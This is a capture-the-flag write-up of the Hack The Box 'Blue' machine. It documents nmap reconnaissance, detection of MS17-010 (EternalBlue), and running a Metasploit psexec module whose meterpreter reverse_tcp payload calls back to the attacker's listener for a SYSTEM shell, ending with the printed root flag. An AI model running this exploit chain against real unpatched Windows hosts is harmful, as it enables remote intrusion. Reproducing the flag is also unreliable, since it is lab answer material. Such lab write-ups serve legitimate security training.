Security Assessment Findings Report

Blue Machine – Hack The Box

Written by Dean Aviani

Report quick summary

Vulnerability Exploited	EternalBlue SMB Remote Code Execution (CVE-2017-0144)
System Vulnerable	Windows 7 SP1
System Vulnerability Explanation	The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to execute arbitrary code via crafted packets, aka "Windows SMB Remote Code Execution Vulnerability."
Privilege Escalation Vulnerability	The 'EternalBlue' exploit gives NT Authority/system privilege directly.
Vulnerability Fix	It is recommended to update Windows 7 to the latest version in order to apply the vendor supplied patches.
Severity	**Critical**

Report findings

An initial nmap scan revealed a few services:

- **Microsoft Windows RPC on ports: 135, 49152, 49153, 49154, 49155, 49156, 49157**
- **NetBios-ssn on port 139**
- **Microsoft Windows 7-10 microsoft-ds (file-sharing) on port 445**

```
root@kali:~# nmap -T4 -sV -p- 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-15 07:13 EST
Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 6.09% done; ETC: 07:20 (0:06:57 remaining)
Stats: 0:00:56 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 8.08% done; ETC: 07:24 (0:10:37 remaining)
Stats: 0:02:17 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 18.98% done; ETC: 07:25 (0:09:45 remaining)
Nmap scan report for 10.10.10.40
Host is up (0.15s latency).
Not shown: 65526 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup:
WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at
https://nmap.org/submit. /
Nmap done: 1 IP address (1 host up) scanned in 794.59 seconds
```

Also, running nmap vulnerability scan showed optional exploit – ms17-010

```
root@kali:~# nmap -T4 --script vuln 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-15 07:16 EST

...

Host script results:
_|smb-vuln-ms10-054: false
_|smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
 |smb-vuln-ms17-010 :
   |VULNERABLE:
   |Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
     |State: VULNERABLE
     |IDs:  CVE:CVE-2017-0143
     |Risk factor: HIGH
       |A critical remote code execution vulnerability exists in Microsoft SMBv1
        |servers (ms17-010).
           |
     |Disclosure date: 2017-03-14
     |References:
       |https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
       |https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-
wannacrypt-attacks/
      _|https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

Searching for this exploit showed its name - 'EternalBlue SMB Remote'

Link: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue

Searching this vulnerability on Metasploit

```
msf5 > search ms17-010

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   1  auxiliary/scanner/smb/smb_ms17_010             .                normal   No     MS17-010 SMB RCE Detection
   2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
```

Setting and running this vulnerability

```
msf5 > use 4
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_psexec) >
msf5 exploit(windows/smb/ms17_010_psexec) >
msf5 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting                                                  Required
   ----                  ---------------                                                  --------
   DBGTRACE              false                                                            yes
   LEAKATTEMPTS          99                                                               yes
   NAMEDPIPE                                                                              no
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt   yes
   RHOSTS                                                                                 yes
   RPORT                 445                                                              yes
   SERVICE_DESCRIPTION                                                                    no
   SERVICE_DISPLAY_NAME                                                                   no
   SERVICE_NAME                                                                           no
   SHARE                 ADMIN$                                                           yes
   SMBDomain             .                                                                no
   SMBPass                                                                                no
   SMBUser                                                                                no


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.38     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(windows/smb/ms17_010_psexec) > set rhosts 10.10.10.40
rhosts => 10.10.10.40
msf5 exploit(windows/smb/ms17_010_psexec) > set lhost 10.10.14.8
lhost => 10.10.14.8
msf5 exploit(windows/smb/ms17_010_psexec) > run
```

Got a shell

```
msf5 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 10.10.14.8:4444
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Built a write-what-where primitive ...
[+] 10.10.10.40:445 - Overwrite complete ... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload ...
[+] 10.10.10.40:445 - Service start timed out, OK if running a command or non-service executable ...
[*] Sending stage (176195 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.8:4444 → 10.10.10.40:49158) at 2020-11-15 07:36:06 -0500

meterpreter >
```

```
 [*]Started reverse TCP handler on 10.10.14.8:4444
 - 10.10.10.40:445 [*]Target OS: Windows 7 Professional 7601 Service Pack 1
 - 10.10.10.40:445 [*]Built a write-what-where primitive...
 - 10.10.10.40:445 [+]Overwrite complete... SYSTEM session obtained!
 - 10.10.10.40:445 [*]Selecting PowerShell target
 - 10.10.10.40:445 [*]Executing the payload...
 - 10.10.10.40:445 [+]Service start timed out, OK if running a command or non-
service executable...
 [*]Sending stage (176195 bytes) to 10.10.10.40
 [*]Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.40:49158) at 2020-11-
15 07:36:06 -0500

meterpreter >
```

Using 'getuid' command showed the exploit connected to NT Authority/system directly

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Proof

```
meterpreter > shell
Process 1468 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Administrator\DEsktop>hostname & whoami & ipconfig & type root.txt
hostname & whoami & ipconfig & type root.txt
haris-PC
nt authority\system

Windows IP Configuration


Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   IPv6 Address. . . . . . . . . . . : dead:beef::79ae:e13c:e9ce:b0dc
   Temporary IPv6 Address. . . . . . : dead:beef::542c:42c6:fc00:b4bc
   Link-local IPv6 Address . . . . . : fe80::79ae:e13c:e9ce:b0dc%11
   IPv4 Address. . . . . . . . . . . : 10.10.10.40
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:aaa3%11
                                       10.10.10.2

Tunnel adapter isatap.{CBC67B8A-5031-412C-AEA7-B3186D30360E}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter Teredo Tunneling Pseudo-Interface:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
ff548eb71e920ff6c08843ce9df4e717
C:\Users\Administrator\DEsktop>
```

```
C:\Users\Administrator\DEsktop>hostname & whoami & ipconfig & type root.txt
hostname & whoami & ipconfig & type root.txt

haris-PC

nt authority\system

Windows IP Configuration
Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix : .
   IPv6 Address. . . . . . . . . . . : dead:beef::79ae:e13c:e9ce:b0dc
   Temporary IPv6 Address. . . . . . : dead:beef::542c:42c6:fc00:b4bc
   Link-local IPv6 Address . . . . . : fe80::79ae:e13c:e9ce:b0dc%11
   IPv4 Address. . . . . . . . . . . : 10.10.10.40
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:aaa3%11
10.10.10.2

Tunnel adapter isatap.{CBC67B8A-5031-412C-AEA7-B3186D30360E}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix : .

Tunnel adapter Teredo Tunneling Pseudo-Interface:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix : .

Ff548eb71e920ff6c08843ce9df4e717
```